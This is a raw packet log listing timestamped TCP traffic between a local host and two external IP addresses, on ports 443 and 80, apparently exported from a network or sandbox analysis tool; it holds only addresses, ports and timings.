Dec 16, 2024 15:25:17.331240892 CET	443	49707	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:17.331341028 CET	49707	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:17.331511021 CET	49707	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:17.331530094 CET	443	49707	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:17.640098095 CET	49708	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:17.640166998 CET	443	49708	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:17.640381098 CET	49708	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:17.640657902 CET	49708	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:17.640687943 CET	443	49708	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:18.858649015 CET	443	49708	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:18.858747005 CET	49708	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:18.860512972 CET	49708	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:18.860527039 CET	443	49708	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:18.860858917 CET	443	49708	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:18.862490892 CET	49708	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:18.862648010 CET	49708	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:18.862726927 CET	443	49708	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:18.862801075 CET	49708	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:18.862808943 CET	443	49708	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:19.834114075 CET	443	49708	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:19.834413052 CET	443	49708	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:19.834474087 CET	49708	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:19.834474087 CET	49708	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:20.493849039 CET	49710	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:20.493892908 CET	443	49710	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:20.493979931 CET	49710	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:20.494501114 CET	49710	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:20.494514942 CET	443	49710	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:21.713273048 CET	443	49710	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:21.713404894 CET	49710	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:21.717660904 CET	49710	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:21.717689037 CET	443	49710	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:21.717992067 CET	443	49710	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:21.729510069 CET	49710	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:21.729645014 CET	49710	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:21.729665995 CET	443	49710	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:22.521992922 CET	443	49710	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:22.522447109 CET	49710	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:23.425556898 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:23.425612926 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:23.425959110 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:23.426367998 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:23.426389933 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.653455019 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.653578997 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.713691950 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.713738918 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.714683056 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.718570948 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.720525026 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.720607996 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.720724106 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.720782995 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.720910072 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.720942974 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.721029997 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.721201897 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.721241951 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.721261024 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.721329927 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.721385956 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.721556902 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.721592903 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.721771955 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.721806049 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.721842051 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.722006083 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.722054958 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.722071886 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.722117901 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.722245932 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.722304106 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.763349056 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.763528109 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.811337948 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.963088989 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.963241100 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.963283062 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.963335037 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:24.963368893 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.992163897 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:24.992186069 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:27.919390917 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:27.919532061 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:27.919605017 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:27.919711113 CET	49723	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:27.919737101 CET	443	49723	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:27.932631016 CET	49735	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:27.932674885 CET	443	49735	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:27.932756901 CET	49735	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:27.933253050 CET	49735	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:27.933265924 CET	443	49735	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:29.262902975 CET	443	49735	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:29.262989044 CET	49735	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:29.264575958 CET	49735	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:29.264583111 CET	443	49735	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:29.264899969 CET	443	49735	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:29.272619009 CET	49735	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:29.272661924 CET	49735	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:29.272711992 CET	443	49735	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:30.106308937 CET	443	49735	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:30.106379986 CET	443	49735	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:30.106452942 CET	49735	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:30.106712103 CET	49735	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:30.106729984 CET	443	49735	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:30.106740952 CET	49735	443	192.168.2.5	104.21.50.161
Dec 16, 2024 15:25:30.106746912 CET	443	49735	104.21.50.161	192.168.2.5
Dec 16, 2024 15:25:30.115722895 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:30.235531092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:30.235687017 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:30.235948086 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:30.355619907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.578147888 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.578171015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.578186035 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.578247070 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.578262091 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.578277111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.578294039 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.578301907 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.578358889 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.578525066 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.578541040 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.578556061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.578568935 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.578603983 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.701246977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.701464891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.701543093 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.770313025 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.770334959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.770454884 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.774422884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.774436951 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.774494886 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.782773972 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.782875061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.782923937 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.791177988 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.791244030 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.791296005 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.799571991 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.799586058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.799645901 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.807981968 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.807995081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.808053017 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.816490889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.816502094 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.816587925 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.824904919 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.824918985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.824976921 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.833195925 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.833411932 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.833468914 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.841531038 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.841545105 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.841603994 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.849904060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.849916935 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.849972010 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.962102890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.962122917 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.962213039 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.964410067 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.964421988 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.964482069 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.969301939 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.969440937 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.969491005 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.974347115 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.974359989 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.974405050 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.979300976 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.979326963 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.979383945 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.984034061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.984206915 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.984263897 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.988823891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.988949060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.989001989 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.993524075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.993598938 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.993653059 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:31.998208046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.998249054 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:31.998301983 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.002984047 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.003103018 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.003160000 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.007723093 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.007772923 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.007827997 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.012428999 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.012531996 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.012587070 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.017204046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.017301083 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.017368078 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.021951914 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.022013903 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.022064924 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.026767969 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.026814938 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.026876926 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.031485081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.031703949 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.031754971 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.036052942 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.036089897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.036139011 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.040946960 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.041124105 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.041172028 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.045651913 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.045763016 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.045816898 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.153948069 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.154023886 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.154076099 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.156002998 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.156160116 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.156212091 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.158977032 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.159076929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.159126997 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.163835049 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.163995028 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.164046049 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.167083979 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.167117119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.167169094 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.170790911 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.170861006 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.170916080 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.174590111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.174612045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.174669027 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.178091049 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.178198099 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.178251028 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.181673050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.181761026 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.181816101 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.185391903 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.185408115 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.185466051 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.188867092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.188950062 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.189003944 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.192512989 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.192626953 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.192684889 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.196141958 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.196194887 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.196607113 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.199722052 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.199841976 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.199908972 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.203367949 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.203443050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.203510046 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.207029104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.207083941 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.207137108 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.210618973 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.210752964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.210839987 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.214216948 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.214359045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.214427948 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.217818975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.217978001 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.218053102 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.221467018 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.221590996 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.221658945 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.225104094 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.225224972 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.225291014 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.228686094 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.228775978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.228840113 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.232315063 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.232434034 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.232498884 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.235964060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.236115932 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.236242056 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.239540100 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.239654064 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.239723921 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.243159056 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.243266106 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.243329048 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.246817112 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.247051001 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.247112036 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.250375032 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.250458002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.250514030 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.254018068 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.254106045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.254173040 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.257621050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.257741928 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.257801056 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.261347055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.261464119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.261527061 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.345817089 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.345984936 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.346100092 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.346714020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.346895933 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.346946001 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.349602938 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.349724054 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.349776030 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.351917028 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.352005959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.352061987 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.354904890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.355021000 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.355108976 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.357912064 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.358037949 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.358084917 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.360807896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.360902071 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.360955000 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.364523888 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.364650011 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.364701033 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.366424084 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.366529942 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.366586924 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.369123936 CET	80	49742	185.215.113.16	192.168.2.5
